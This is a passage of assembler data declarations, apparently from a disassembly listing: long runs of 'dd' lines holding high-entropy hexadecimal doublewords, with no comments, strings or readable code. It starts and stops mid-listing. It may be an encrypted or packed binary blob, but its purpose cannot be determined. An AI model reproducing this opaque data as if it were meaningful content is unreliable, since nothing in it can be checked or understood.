0F9411E4h dd 40E41ADCh, 0AB5D3C40h, 4F45004Dh, 6E2A5F46h, 5B16EB43h dd 4420FCA1h, 2FE8E1B2h, 0D890554Ah, 0B504055Bh, 0C5DCD478h dd 3814FC88h, 4C013196h, 6D3675FEh, 476E20ADh, 2F001A7Ch dd 0EC9023C5h, 7CDA3AFh, 0A53B1827h, 0DFFC005Ah, 0AA008BE6h dd 0C684923Eh, 72960B37h, 0A94F0034h, 0CE3ABF29h, 9325DF07h dd 26C4875h, 9C149584h, 0CE421500h, 4441D9E8h, 0A2AD3EDAh dd 2D75A700h, 6F18867Ch, 0D877E53Ch, 8F7E001Ch, 0C77B9B35h dd 2AE075h, 6DA6C0D7h, 0F6B06825h, 0A40017ECh, 79A20E7Dh dd 26235393h, 12BCE807h, 80FCB2AEh, 0DCBB9B2Bh, 0F7DB0116h dd 0FA47A577h, 0ACD7D4F2h, 72AFD200h, 1AEB5A7h, 7BB4A4BBh dd 4020BE98h, 0C343D2A4h, 0F0473D1Ch, 800AE3CBh, 762AF1A4h dd 92561368h, 97853AFh, 6468EC74h, 22F7FC0Bh, 0B9007F28h dd 6D77742Bh, 1B38CE3h, 0B6624A70h, 7D57BFACh, 0DA0B0780h dd 21BC7D52h, 40A58DCh, 2E8287C0h, 57002335h, 0B9FBB5B4h dd 12D0B1BCh, 900A09DDh, 5E5A40ACh, 0A527A3E8h, 3F54A0C5h dd 9BE7D2h, 2BEF8C67h, 0B884E877h, 5000F899h, 0ECC037A0h dd 256A048Ch, 0E453A9CCh, 17004FE8h, 2E5AD13Eh, 127D86F9h dd 93B0AF32h, 49DEC2BCh, 0AA8D6D00h, 0BEF76E15h, 241114EDh dd 0B0014E1h, 0A0C66980h, 85073D81h, 72A958BBh, 0E7D7AED0h dd 1CF10275h, 59509831h, 0BABD8CA0h, 7948F096h, 0D3BBB1D4h dd 8148C71Ch, 47BF0430h, 80A49620h, 90C954D2h, 772C134Ah dd 0B33CCCABh, 4244BE48h, 0C02200E0h, 0A7810475h, 0F54C13B4h dd 0AE4C41D4h, 22C5E80Dh, 41C10034h, 24076AD9h, 551539EFh dd 0AD1250BDh, 0FC78024Fh, 0ACC6853Eh, 0A99540F0h, 3CFC44C0h dd 0B8707EC1h, 859490A3h, 84E8AD0h, 76AD007Ch, 183754F3h dd 73419496h, 0C0221D36h, 0FE01AF00h, 0A2E551D2h, 0BEFC425Eh dd 0A9FB1703h, 7E2825DDh, 240478EFh, 0AEADD235h, 0AC88C4D5h dd 0F8571D0Fh, 37044016h, 0A1744F94h, 0D2B3E850h, 1715280Ch dd 4070E9A2h, 0D13B75B2h, 0ABBD0420h, 30B85193h, 0CC00118Bh dd 0E661B009h, 0D150F4A3h, 117A598h, 0A008BCC6h, 0D43A803Bh dd 0A4AACCD0h, 985ACB00h, 53F3BD35h, 0E910443h, 84BBEC80h dd 0CD6CC0D4h, 0F2544061h, 0BC17CF80h, 840A34Ch, 0A0CE5123h dd 2E342C3Fh, 270B0358h, 303647B8h, 939C635h, 548705C7h dd 0DC5CE412h, 0D7E42E40h, 6C500038h, 8227CC29h, 0E60CA82Fh dd 0C0A202AFh, 2BB101E7h, 7C6694A9h, 48AEF831h, 7663FC09h dd 37628179h, 943D4F4Dh, 0F38E2D00h, 6504B04Bh, 0E1A03Ch dd 0F1FF55F9h, 4BBE05C5h, 6B0CD059h, 0ED005B3Bh, 5E45272Ah dd 48A5B52Ch, 0D40934A0h, 80792BF8h, 0DE9D0D40h, 343600C5h dd 9F0BA43Eh, 3502BB10h, 0A5B0A81Ah, 0E6CC40D1h, 69A96359h dd 6472FDA0h, 1BD5E203h, 988174BBh, 0C1A3092Ch, 56FC3731h dd 60B875B4h, 0B9FB48h, 342019C4h, 0A40C2D51h, 210BC7CCh dd 3EAFEA3Eh, 2A828BDFh, 0A7560D12h, 6C407874h, 0C4B36Eh dd 72BA73E2h, 4F904BD3h, 2CBCA470h, 940BE41Eh, 58C8C031h dd 0B4AB00CDh, 4E3EE3A4h, 595EE0BAh, 0BC2B3040h, 59F8437h dd 0E17A14F8h, 2ABCB1BEh, 55E0B427h, 91AC18h, 0BA1624D1h dd 0D9156920h, 0F8F97E0Ch, 3E3099h, 9F230EF1h, 58EFA694h dd 0A03FA300h, 30C8B084h, 0BD0C3049h, 0D84F9718h, 0CBC6D300h dd 0ACD00496h, 6A3D00A7h, 0F3607C5Ch, 840048B0h, 5722781Fh dd 9A79AE7Fh, 48A0B878h dd 0E504E4ACh, 0C82DE7AFh, 0D70B077Ch, 18605B82h, 337F10h dd 0D840E08Ch, 0A44EAC0Eh, 0CF4040BBh, 768D7Ah, 25156454h dd 0FF86C3DCh, 217BC01h, 6AC5729Eh, 0A9C8200Dh, 90E069C9h dd 0E97844h, 8523083Ch, 3494D0EEh, 70D0D74Bh, 0CB13D1h dd 21DDFEBFh, 0A407DB1h, 0D8C8AF4Fh, 5C1F0055h, 14029BF3h dd 0AD02D077h, 17D14D3Eh, 9FC07839h, 0B8CE08A0h, 8AB34A1h dd 0AAACBCD0h, 7B3D371Ch, 90BA1FC9h, 48A5B2E8h, 9D34FBh dd 3648ADB9h, 0AC502010h, 4C024160h, 229CB2CAh, 0E39060A4h dd 764900E2h, 0B9577434h, 0C3001F32h, 70A69992h, 244CE40h dd 11E79829h, 7CC633E6h, 4D832600h, 64DBE1D9h, 7FFC00CBh dd 18B881C4h, 90B933B0h, 4E214A40h, 169501ECh, 2B473B10h dd 0C00C2C85h, 1B7492AAh, 86DC068Ch, 88D84411h, 3E00C4F0h dd 0D6A79AFh, 0E1DF7ABFh, 2FE0FAE8h, 80307293h, 0CE7C4138h dd 0A4C80D1Eh, 35C55285h, 4FB324E0h, 0FE4C48B1h, 80791B89h dd 9C68826Ah, 676D0334h, 98D57DB2h, 57BE0190h, 0B8AAF000h dd 0F7ACEC3h, 0F11904F8h, 0E2A3EDCFh, 0C4721C98h, 0AB626600h dd 7C539AC6h, 0C0549EA6h, 713FE589h, 3156C01h, 57F45C88h dd 5C49D3D4h, 0B5029782h, 0A6A15137h, 0A4901C6Ch, 383D5090h dd 253B80A8h, 6EE08BEEh, 9DFE0F4Bh, 2FC0FAACh, 0C747BA83h dd 63092E00h, 14C9748Ah, 8BCE0094h, 60443FB6h, 5C13869Dh dd 0E7186BA4h, 0E56928h, 5BD52BDEh, 0AC7656F7h, 8A618E03h dd 0A465602Fh, 8029C307h, 59C1829Fh, 926E8E03h, 90EFDE86h dd 0F28DAB3Ah, 0D7A300B4h, 9F35AFE3h, 3381A7Fh, 0B3189877h dd 184CA951h, 11BA3424h, 220BE563h, 4A14037h, 76C37DF1h dd 367E3CCh, 0EB2BAB79h, 70B89005h, 3A00B08Eh, 9DD648F4h dd 0E8E484h, 0E5445638h, 99DD0D63h, 34676C00h, 16906E24h dd 21234C4Eh, 0A804FE03h, 90100D3Ch, 5017630Ah, 46B30131h dd 0F48B5943h, 9E00344Ch, 6BCEA56Fh, 6FE191A9h, 0D83319Ch dd 98298B9Fh, 7000A06Ah, 19D512E0h, 0E3473E6Dh, 14319830h dd 3E00901Bh, 9E68B120h, 0FF8BD0h, 775D4BB0h, 4114811Dh dd 63C92514h, 115060A7h, 17DCC7Ah, 5A33A620h, 0C45D7935h dd 0D3FAD690h, 60B24400h, 0CC4932DEh, 97F2011Fh, 993573Eh dd 454415Ah, 90519D8Bh, 8402D92h, 868ABCFh, 0C2FF0171h dd 0F0B750A0h, 771824FEh, 0D8C1752h, 19C67B5Dh, 414ADDE0h dd 9862E06Ch, 4EC91502h, 0A0E53426h, 0FD0565E4h, 1BB800EFh dd 86568158h, 800801Ah, 0FAF76215h, 158336B0h, 9C8512B1h dd 93DD8600h, 0B67A578Bh, 0AA5EC1Ch, 0D4433640h, 0C4CD29h dd 0C5E3C33Bh, 0CA6CC0DAh, 4EF7330Ah, 4805476h, 1CD3D91Dh dd 649C0660h, 0F9415361h, 0A941811h, 97ECBE00h, 193C11EAh dd 93543090h, 0BD005D90h, 0A7E92B6h, 0C25795h, 6ED6C584h dd 0E463B765h, 62F8014h, 7D8A22B0h, 66F9C034h, 3D2A0E99h dd 1C20458h, 8DD0AC43h, 0D7DCD9C6h, 1428C0E6h, 6B0590C3h dd 31F22C00h, 44DC5B0h, 2E58042Ah, 886371F0h, 0DC033EB4h dd 6B42B67Ch, 0DB948055h, 0C8E83D43h, 20791002h, 0CF60185Ah dd 51D994Eh, 610CDEB5h, 1F7D19Ch, 0B36FF1ECh, 0FDFE472Dh dd 1E80405Bh, 3851CEC4h, 82BB4014h, 0A5130C3Bh, 18FE58C1h dd 0D3CB28AFh, 277AB00h, 7C4E146Eh, 0A2483E5Fh, 153F08D0h dd 0E49D6BA7h, 8FD0E01Ch, 0D120A93Dh, 0BBEEC511h, 9E1D9214h dd 893886C0h, 49BF0079h, 0ECEA06DFh, 430073C8h, 1D055754h dd 0A0CCCFD1h, 0A88D34E4h, 0A668B0h, 0EAE29313h, 0B26FD73h dd 1D208F12h, 0D10F4816h, 20222990h, 0F5513354h, 54F20140h dd 359DB3ADh, 433824AEh, 0B206C98h, 0B728C163h, 0C8223E69h dd 0AE0072CCh, 96A291E5h, 75E3D05h, 7A8E4F74h, 599A60A4h dd 4006E7Fh, 0EA65D714h, 70777Bh, 8506C056h, 480B73EDh dd 520028EAh, 7C14F23Ah, 475E5ACh, 499B83A3h, 5DD4C0FDh dd 3C0085F8h, 0D18E1D06h, 0FACEC90Bh, 0A78994Ch, 80AC756Ah dd 0BAC44F6Bh, 420030E1h, 86A5B062h, 3CC059h, 0E81C492Fh dd 997A80AAh, 9F0BB718h, 501B7739h, 21F740Ah, 65B43BD1h dd 0E1E29E9Ch, 1E460C44h, 0C92E6100h, 5B754146h, 1AB3C201h dd 0CC4FB77Bh, 4C43CBDBh, 7AC01C19h, 7EBF8185h, 80B7E93Bh dd 6E43CE35h, 44379E2Ah, 2553C662h, 0F65807E8h, 0E001F148h dd 0FDD85D37h, 432500B6h, 0B31489F8h, 9B000595h, 7D4E6116h dd 3E4044DCh, 18FFB22Eh, 0C18A6028h, 0ED019DD8h, 48410E19h dd 0E0E8BDC6h, 64E8C9F4h, 348B8E81h, 0B7980B4h, 484CF94h dd 3C091B74h, 0B1C928B6h, 63519E18h, 56FBE2C0h, 245B1A35h dd 0D81D76h, 6C33277Bh, 4C0F98C7h, 675182BFh, 53967901h dd 5B740911h, 1090BC40h, 5D0FBB19h, 0A41D8178h, 71C02BF4h dd 69325Fh, 72B74E06h, 2CDB1C2Dh, 0D0268F24h, 943BB68Ah dd 404EF347h, 873A43D3h, 0D6FB0156h, 74A84A99h, 0CB19D76h dd 26221440h, 70C610E1h, 0FD581888h, 0D8502161h, 0F79F0600h dd 0C3D3C087h, 164E12B1h, 9F013CDh, 9C10336Ch, 6CB23C60h dd 0AC3F4301h, 3BB587C9h, 3500DC62h, 0C4F6385h, 6976F6BBh dd 0BC393100h, 0ECFFC4D3h, 0F4E6503Ch, 0D66C401Fh, 3CA2C00h dd 7B239DD1h, 1418C18Ch, 0D27795BBh, 2407E066h, 0B6894D1Ch dd 30BB98Ch, 7A0AB535h, 8BE7F7Bh, 2EF0B0C4h, 0F9F6AC40h dd 0A54C7333h, 74907120h, 1B4CD7F2h, 0CA280920h, 78840676h dd 0F6B62C91h, 0C992403Ch, 71C1709Fh, 0E4E38062h, 695BD030h dd 0FC82F1B6h, 372544FCh, 0E0A87488h, 0B38400D6h, 0D7E6F230h dd 1C008303h, 0D9A3FB7Bh, 0E8DA4072h, 59A205A5h, 81904573h dd 416346F0h, 63CE9538h, 3F0E00F8h, 0B7186D9Ch, 0A8831DA0h dd 6CF98099h, 2EF4FF96h, 22ABE009h, 35E00167h, 48608710h dd 2438036Dh, 99F65DF7h, 0F23BA5C8h, 5400FB98h, 12C4E99Ch dd 0AF5BACh, 231324ECh, 726D3404h, 4279E302h, 0E79DCDD4h dd 0A4580E68h, 0C76D94C0h, 0E11612F6h, 0B0404FEBh, 1BADD507h dd 8BC62E0Eh, 60042698h, 66793BD6h, 0AA5CC31Eh, 2C6880C5h dd 0AC327484h, 704C460h, 0E269FA53h, 7A28CC6Fh, 7B410A40h dd 5526053Fh, 40181A76h, 0C0EAA9E0h, 9A010E10h, 0CC43DF29h dd 0D0509B98h, 4C763F1Ah, 48121C1Fh, 6ADC061Ch, 0CA039977h dd 55F6B80Dh, 0F0728839h, 0C0E8034Bh, 90617CDFh, 0F2C39100h dd 0B1298AEFh, 6DC11DF1h, 0AF16C040h, 6A3FE21Fh, 91F09C61h dd 798E9F04h, 0A0544C9Eh, 97809C88h, 0C18DCB56h, 59CBBCCh dd 5268DC90h, 18ED0008h, 8C341344h, 5A0290A8h, 805CB400h dd 0E8383560h, 0D7F20104h, 28091DFAh, 9EC440C3h, 79D29D36h dd 84D1110Bh, 254086ACh, 9F9A2A5Ch, 0B8E21816h, 0EAAA1000h dd 11F54D05h, 8FBDEFh, 2416520Dh, 4835A7h, 4DFC70C3h, 6821A4C2h dd 0C5C43F00h, 28D3A8C0h, 1830F285h, 684FF2E1h, 7B018A0Ah dd 9E274449h, 81868E42h, 6163BD43h, 0A4FB5B1Fh, 6FBCA080h dd 381CED49h, 0BF8051F5h, 358BB204h, 0B97F24C5h, 4EC86402h dd 64F791C3h, 0B8E3F54Ch, 25E69F95h, 0C421BD97h, 0CCC4B4DAh dd 3172C9B5h, 0F698C202h, 408D133Eh, 0E1A1B89h, 195954FCh dd 7C7AD80h, 730011B1h, 8B89862Ah, 980284E7h, 7ABE1FE4h dd 887DC08Eh, 59CED4D0h, 91A0CF00h, 6BA80BAFh, 43ACA863h dd 0A1F0014h dd 0D9789608h, 0A90094D4h, 0A17B5961h, 0EE9ACAF5h, 0EF84A888h dd 0E7AA1D19h, 9E1AC27Eh, 2042417Bh, 15FAD069h, 2056C00h dd 58716E58h, 852248CDh, 0F738604h, 3C907436h, 800BE90Ah dd 1F14CA33h, 628C9455h, 76CA250h, 0B3E02151h, 3514221Ch dd 9482910Fh, 3A5C4445h, 7A446043h, 2ECE588h, 782E38A7h dd 5360F5F3h, 40008172h, 0D112F2E6h, 1488C9EEh, 740D9E98h dd 0CC254300h, 0CD9BA2B1h, 0ADA70100h, 17998BCEh, 441939BDh dd 0F57960B0h, 0B9582D92h, 0CE6D016Dh, 3409B62h, 409DEC60h dd 8800AF8Bh, 166DD0B2h, 0C3E843h, 5C7BD3ECh, 4EF01BCCh dd 36159804h, 40D266CEh, 99CD2077h, 0E87AD5FCh, 4C972502h dd 0E054E91Bh, 0C0F0B728h, 0E22A63F1h, 0BC12550Ah, 0BC00EA21h dd 77DD3ACFh, 0A4C35418h, 29A405BFh, 211FABC5h, 1192437Ch dd 5180606Ah, 0F26BC1DFh, 4AFE8997h, 0FEC820DDh, 33CA862h dd 833B96A6h, 0D5B07D5Eh, 0A12C7ECh, 0D05D72F0h, 0B71C909Eh dd 0E7CD02Ah, 0BC2AB0A4h, 0C700A061h, 3FDF927Ah, 1E4C111Eh dd 0E31F87h, 9D4284BBh, 0F712C5CCh, 0C229755h, 1F602511h dd 1EFA405Ch, 4F1F3EC0h, 26008774h, 45772857h, 482C6533h dd 384CB408h, 9039818Ch, 3344F051h, 80D538F4h, 96A1449Fh dd 0C00701BDh, 0E828CC20h, 11013405h, 377224FBh, 642469E2h dd 290F6B09h, 0A3150C90h, 0F9A2FE2Ch, 77DB9A02h, 9C7240DFh dd 8CA132AFh, 684086D0h, 43808552h, 2C355871h, 0E225D680h dd 380E8CDEh, 6F8D2A9Eh, 0E3032041h, 1C07CC0Ah, 35A3B1F7h dd 0F50881D8h, 0B92A1011h, 0BE981935h, 0D817E189h, 9C0086F0h dd 4DB536BAh, 15506ADh, 0F804EB96h, 2274DFD3h, 7CD50000h dd 2915E8FEh, 8D5E00FBh, 0E043AAD0h, 5D0A6B1Fh, 0C0619952h dd 45D81440h, 978A0079h, 0D2C9B7C0h, 0E10093A8h, 6B6EFB54h dd 12063142h, 901B7A63h, 90ECA960h, 0E1B1E213h, 0AC70F434h dd 8001750Ah, 0AF7D4230h, 97E5E60Ah, 0BD11E485h, 0FC0544Ch dd 0D11DF7Ah, 0EEA348C2h, 8BCA0F91h, 0C288084h, 7162AAF6h dd 9E2A6C00h, 21AEFA47h, 5B6B37A9h, 77DE0A9h, 884E1E93h dd 4D72B827h, 0F47A35h, 6C967E6Fh, 13C0ECDDh, 0A3BDB500h dd 0F9AF9DD3h, 20F0A641h, 901475AAh, 12861F7h, 761D6B8Bh dd 10702681h, 91E09021h, 0DCBA002Ch, 5E4D0BB6h, 3A3E9300h dd 0C3CFC51Bh, 0C2F72ACAh, 0C7F0A184h, 34646011h, 0B2587B08h dd 507D0026h, 25CBF069h, 1F7C9Eh, 0EF158BF4h, 0C237E1D3h dd 2238894Dh, 0D7E79h, 7C0BE860h, 0B0151238h, 9927B300h dd 92FDFC56h, 945B0063h, 61795E1Fh, 720C7B89h, 9832B709h dd 4D4486DAh, 1458B6h, 0B437E3C7h, 96DA5D55h, 759406F1h dd 24430AC1h, 80B49FC8h, 0D197BD06h, 786174A0h, 0D2AE9249h dd 3939E3C0h, 0F380DDA6h, 0A4441C4Ah, 0EC4A3212h, 7334F420h dd 516700E3h, 464335E1h, 0CB009C0Fh, 4E17E93Ch, 90262F44h dd 32550175h, 53E49718h, 3CB03099h, 0B6205CA4h, 764C0774h dd 8CFD0726h, 24007B21h, 0AFEC486Ch, 0F8DD9B6h, 0C785290Fh dd 99C597E7h, 63DBF880h, 0BF00C2BDh, 1129EC05h, 3084A71h dd 0B1CECDD0h, 38A2DFDAh, 67FAC0E4h, 0C9988600h, 5F8724F7h dd 9AC3B758h, 0AE8CD2BCh, 604FB896h, 31478842h, 246DC096h dd 91163E88h, 5DF4204Fh, 7400338Eh, 0D35E4F7Ch, 14031D4h dd 0E3AD8B07h, 0F49F7A1Fh, 420E5299h, 0E1F3AF34h, 748BB926h dd 53A95285h, 2C6CC8ECh, 0BC4EF612h, 67BB6090h, 535400C8h dd 0CF3C515Bh, 250EF235h, 428B9027h, 8443ABD1h, 21324BB8h dd 0E7E8182Bh, 4CE500A3h, 0BB3FBE0Bh, 7600B5EDh, 0AD656BD9h dd 9EAA841h, 369F945Eh, 0F66FD0C8h, 0BFEE1F16h, 10614409h dd 3A9D68Ch, 464957B0h, 0DFE83494h, 7407828Bh, 16DE975Ah dd 1AE1C827h, 0E3F04962h, 84A90090h, 2E2C4AC7h, 734D6D40h dd 10B8CE2Ch, 9B72CF1Eh, 0D1C3C106h, 9600C8DDh, 10BA8200h dd 31D608CAh, 0E224042Dh, 80612E37h, 95806828h, 0C66FF1C2h dd 0AD007766h, 7A5AAE05h, 8C23A41Ch, 0CF46874Fh, 50D840F2h dd 6585DE9Dh, 200B7856h, 0E3B1CF98h, 0BD13A899h, 0BA37E090h dd 0CFCD0057h, 1EAE0195h, 1205440Ch, 0A0DAE26Dh, 24050BFFh dd 29F7C487h, 9DB2C19h, 177BE839h, 945F143h, 0A1094C28h dd 89537000h, 0C4002380h, 35B7B8A7h, 988FC9F6h, 9A1CA884h dd 616B24B5h, 99FF4070h, 73036FA8h, 0EBD1495h, 437C0A52h dd 87ACF10Fh, 2998202Fh, 81766306h, 0EE054375h, 0CF254259h dd 2300ACE2h, 0B1AE03DDh, 2E00BF45h, 9D93E86Fh, 5C4CE56h dd 5F63CD2Ch, 259032B7h, 0CDEA449h, 98588ADAh, 0AC9844h dd 5D9CD556h, 64299B7Ah, 0B5F63B0Bh, 154CA29Dh, 800873B9h dd 12EE0E4Fh, 0F2073BE7h, 98876223h, 205A7D0h, 856102CFh dd 12C00832h, 8BF5DC82h, 0FB267721h, 618E8C3Ch, 7E978100h dd 43005931h, 0EA46FE07h, 22C5D05h, 0B1D3CD3Bh, 0FC917B17h dd 955E109Dh, 0AC0B0019h, 0B4E92557h, 0E7FE6D91h, 82DB801h dd 988DD223h, 88BCA860h, 51DE243h, 1F045551h, 0B8B08E36h dd 204024Ch, 8745B0E7h, 0CC4CDCCEh, 9DF44870h, 7715E0Bh dd 2882CE0h, 0B6F7CB64h, 62EFB499h, 85EB805Ch, 0FE03EADDh dd 517400F7h, 0E1543990h, 0C113D8A9h, 0C4046C8Bh, 9105690Eh dd 48304405h, 0E024F1A2h, 0A02D6640h, 1920A36Bh, 1EA1C0A9h dd 8EF8A16Eh, 0B689CB0Ch, 2A54DADAh, 1A067BDh, 4C801693h dd 0F1E9D61Eh, 42D52014h, 6620E090h, 0D46B5259h, 6801993Dh dd 7A115F9Eh, 0C9F8F351h, 9499B326h, 254DCE85h, 68C1D0C0h dd 0BA90C8CDh, 0A9427064h, 28EBB01Eh, 35108F92h, 6AB4A921h dd 0AA0F8C69h, 36206574h, 359C9754h, 0C72832F0h, 8E229868h dd 0B80A5861h, 9919FCEh, 1AF23AC6h, 0E4488BB8h, 988C0068h dd 0DB60D6D9h, 0E33D3EC3h, 9E190618h, 0A585163h, 7A1B776Ch dd 530A42A4h, 0E616822Fh, 0D85361h, 0F9B0FFEFh, 303A0A25h dd 34FC3044h, 4842924Eh, 0CF104CCBh, 929788D3h, 0BA4804C6h dd 12B705B2h, 4C210E2h, 0B898B227h, 762F4F26h, 0F7201015h dd 60CCC9B1h, 2CCE9C48h, 0E51549C5h, 0AF0598A2h, 5D666028h dd 2C9BC094h, 0E5DBF446h, 0C00775ECh, 309AF6BCh, 8256C1B0h dd 437C0213h, 0B3AEF00Ah, 0B6048459h, 10B36CC2h, 0E2D9007Dh dd 8446EFEBh, 1A90CB6Bh, 10947F48h, 1E88E44Ah, 91F5D81h dd 0F46CE7CCh, 111CA02Ch, 3CA73D62h, 5D5A9F9Bh, 7EC47A5Dh dd 6488BC43h, 722E0C8h, 10F596Ah, 0AAA630C4h, 4E24CC79h dd 9C6ADCA2h, 197A6404h, 8A9F9CA8h, 66C8CB08h, 4325312Eh dd 0FF30A0BDh, 42614h, 3728AD5Fh, 74A81A67h, 0E4A7AE02h dd 18BE5BD7h, 0E200BDBBh, 0EA306443h, 286D382h, 2FA1AEA0h dd 2862B8F1h, 402069h, 0F89D8799h, 0A62E016Ah, 0DF184668h dd 221C721Bh, 0AF77153Eh, 0EC40B084h, 1A0CA098h, 1712E907h dd 0E1AD7881h, 2865ED37h, 7642A148h, 3098670Ch, 0B8899300h dd 52390581h, 4BED3C58h, 8D2A9A80h, 1042241h, 0BC5A9105h dd 5C84236Dh, 0C00BBCE0h, 0A6C98A71h, 37483543h, 0CD8980B0h dd 122B7h, 0C7FD1234h, 73D15BC1h, 4F5490BAh, 50993B74h dd 83DB1443h, 4AFBC811h, 945A0C2Ah, 96D8E816h, 9CFC5144h dd 71D05374h, 92C21F2h, 7301B824h, 499233BDh, 0EC9EECh dd 66F8951h, 0AE41CA88h dd 4781200h, 0B7809F59h, 0E00A6B09h, 0B46C0CCh, 86D3E450h dd 5C88534Ah, 80B754ADh, 90EC3DBFh, 4D1D7A01h, 321EB1CDh dd 342A0820h, 0BBE98FB8h, 77EE7FA0h, 481EA042h, 2217C27Dh dd 19E59800h, 920E3EAh, 84091DA9h, 92CFF023h, 285925E2h dd 69A6E360h, 4E040109h, 92EE6DF2h, 0A3B990B0h, 0E4A85BC8h dd 0E020634Bh, 0F26B9CDh, 273F58AEh, 0ECA2534Bh, 3827703Ah dd 4271B590h, 0D6F9079Fh, 7003AC3Ch, 0ECB7EA7Eh, 88C6C500h dd 0F62D9389h, 0E832954Eh, 32DFBC84h, 0E2902136h, 0B2341146h dd 4243D980h, 7557BC7Dh, 945BE900h, 0AD1FEA4Ch, 245E2EFCh dd 4D412CEh, 0B8AEE0Ch, 4CB49C64h, 304CD436h, 0B06FC4A0h dd 62A82900h, 0E7ADBB70h, 647499C2h, 9E6C906Ah, 49D78943h dd 0E856C080h, 21B8BA66h, 1B10E492h, 0DE6FE380h, 4F12F134h dd 141D4BE2h, 50138829h, 0B17C8004h, 32C06414h, 0C69A8335h dd 48B4D45Ch, 0AC41965Ch, 16F7CA28h, 22483852h, 46EF0B6h dd 73425Fh, 9231D0FEh, 399F0417h, 0AC273685h, 6239BFh dd 2E046FD2h, 0B50FAh, 759AD4FBh, 0CC6D7B58h, 84F6B119h dd 0A0E02A49h, 30B974h, 4C5B6801h, 230042FFh, 0DDABD834h dd 13976D5Dh, 80EEC62h, 0DABA6C40h, 2DC33802h, 0B4A12492h dd 1D22B13Ch, 10A128Bh, 488404ABh, 154404A8h, 0DEC01414h dd 8C04BD39h, 0BEB35700h, 0A664CDA3h, 0C522072Eh, 1B7CCAB2h dd 6F40F0ECh, 9911CE66h, 0A54894E0h, 70002C75h, 9F8CD92Dh dd 0B3ED9Ch, 0DA6625DDh, 3B0828FBh, 9C60D148h, 45E30861h dd 140B344h, 5C122367h, 3B791500h, 0F6F0D4F8h, 0F4A6097Ch dd 0D080A58Ah, 4E66461Fh, 0E66340B4h, 9D26884Ah, 0FB7EB1h dd 4F4CF931h, 672950C7h, 0A0C0255Ch, 53377371h, 8122A86Bh dd 0E440344Ah, 0D179FF88h, 3D1C003Ah, 0C711D332h, 0DC3E1E13h dd 1050585Dh, 26264259h, 5D60008h, 0A270D011h, 28D4A197h dd 1AF0C2CDh, 0E4530B4Fh, 9C04A90Dh, 6E14061h, 9C3980h dd 193C3DB3h, 0CE9B1F56h, 4C91AB3Fh, 90348B38h, 7D4504h dd 0A3C4D66Eh, 664ADD06h, 0E5BC3200h, 0A6F194ECh, 0AC0C07A4h dd 709B5302h, 0D48FBD26h, 298A0748h, 5991C803h, 0F01F9A02h dd 0E4448CC2h, 0B2077F4h, 97304A63h, 99C9CFA8h, 91371451h dd 34811CC4h, 0B830672Ch, 0E3E80228h, 0C77AA806h, 402EBC98h dd 0B40CF389h, 8788F8Ah, 0D06A1786h, 0E6D97050h, 20C45301h dd 0FE7AEE24h, 8C69BC41h, 0E2561510h, 98866828h, 2C460924h dd 1C5D2B50h, 4E4D9045h, 1A408639h, 733B70D5h, 540B7F0Eh dd 9025CB29h, 95F82010h, 90CB6018h, 0D18E4C1Eh, 0A2541E00h dd 7B9E4170h, 0E8B300D3h, 8638C537h, 0C1C40BB1h, 74D21363h dd 1176199Ah, 202BE1B6h, 8B9E1BDCh, 0A45C664Ah, 60271AD1h dd 1C2D9420h, 3D00AC04h, 0E6DC9B0Eh, 0A06B1A9Ah, 8822F0BCh dd 38099835h, 455506E2h, 5B491E8h, 0AE0731EEh, 0D2677491h dd 6A897A08h, 3B07B469h, 506CC019h, 9F565511h, 0AA3ADB00h dd 0EF8C33F1h, 2678B021h, 0E09C505Ah, 0E04FC30Fh, 5C8FDE02h dd 0E41E77CAh, 0ECB62978h, 0D0BD13F0h, 0B75B557Ch, 3156140Bh dd 122C4E52h, 88B91876h, 4801C7CCh, 107EC346h, 94704CE0h dd 211A420Bh, 1621123h, 0B39F4CFAh, 0CFD03854h, 68F50530h dd 0A00E1FF6h, 1D2FB714h, 8BA01062h, 457301CAh, 356CECB8h dd 0ADAC500Ah, 83043B2Ch, 0AC8AD54Bh, 950B00ABh, 96ABA3AFh dd 0D8C58900h, 5E812CCh, 0BB441E5Ah, 0C42354E3h, 8043312h dd 53649BC4h, 6D67A15Eh, 81683809h, 0A1C200A7h, 6B8C65ADh dd 0DD001B9Ah, 0F0ACB328h, 0C27496Ch, 0BC1A1FE2h, 244E0548h dd 0B1374028h, 34600008h, 2497690Dh, 0E7708900h, 5578B0E0h dd 3BF90210h, 0D2643516h, 0D02F1848h, 90264484h, 0BC4BF024h dd 0D643E544h, 7AF01872h, 7600192Ah, 0AC71FF12h, 26EDFDBh dd 0C08D5D13h, 70734391h, 63882A90h, 0A09ACB80h, 1F8C5EEh dd 4C925672h, 0F355F63Bh, 0CA6E380Bh, 43581A4Ah, 40C8BD78h dd 1C8C01EBh, 18479991h, 88A8281Fh, 30514E24h, 0C715569Ah dd 37580071h, 0B13FE757h, 912E2C3Eh, 0A0B14F4h, 1904C99Dh dd 99731432h, 0EB130A60h, 832600F2h, 0D9906253h, 1298783Ah dd 0C4203727h, 0DAD06CCh, 1E91A85Bh, 0AB85F089h, 2DB2251Fh dd 207510F0h, 0AD76254Fh, 0CF06C91h, 74B08414h, 0CB256243h dd 6507944Eh, 0E9EA072Eh, 68DB4230h, 61D6023Fh, 8610A457h dd 0C30418E0h, 9E783380h, 0A46BE5E8h, 0CD031E30h, 3DA5FA48h dd 9E18E88Fh, 1D970EFBh, 414035FDh, 76F7D4F6h, 6064F4B9h dd 0DA03E4FDh, 9A1EA8DBh, 0E8834DB2h, 300A2EFDh, 0E868DC72h dd 0BD86DF63h, 0F764488h, 883F8380h, 4053E3E0h, 80A13CB8h dd 94210C7Ah, 0C8B4641Ch, 0DA1FB194h, 0E7C0B38Eh, 437B53C6h dd 0C0275535h, 0CEC8DC01h, 0A860BEC5h, 4684BD0h, 21E48FC4h dd 0C0492ED1h, 3FA07038h, 31020644h, 9422E45Fh, 401741C7h dd 3ADA6FF4h, 4C931EBEh, 63E482BAh, 9A803C5Ch, 0B674FC41h dd 479E003Dh, 783425B5h, 0A3008F56h, 9412AFFDh, 8BF215h dd 6F20C65Bh, 18B8A268h, 3D956700h, 1ABB232Dh, 0B0771E32h dd 46C5C05Bh, 0E2F9E5AAh, 668741BDh, 0B8BA0CE4h, 0D28F0D8Fh dd 0E0605540h, 8DFDF5Fh, 6B69DB00h, 24D30825h, 0D4BFDAh dd 8F4E7522h, 983037C5h, 2F8941BDh, 6B8300A5h, 0D1BC4818h dd 78005CD3h, 0E05771E8h, 0CEDDA1h, 1E94EDEBh, 0AEC4FC6Eh dd 0FAE6EF00h, 5186E97Ch, 1C0D1846h, 18D850C8h, 0E10ECC02h dd 88B954EDh, 0D8080BFh, 0D2E78036h, 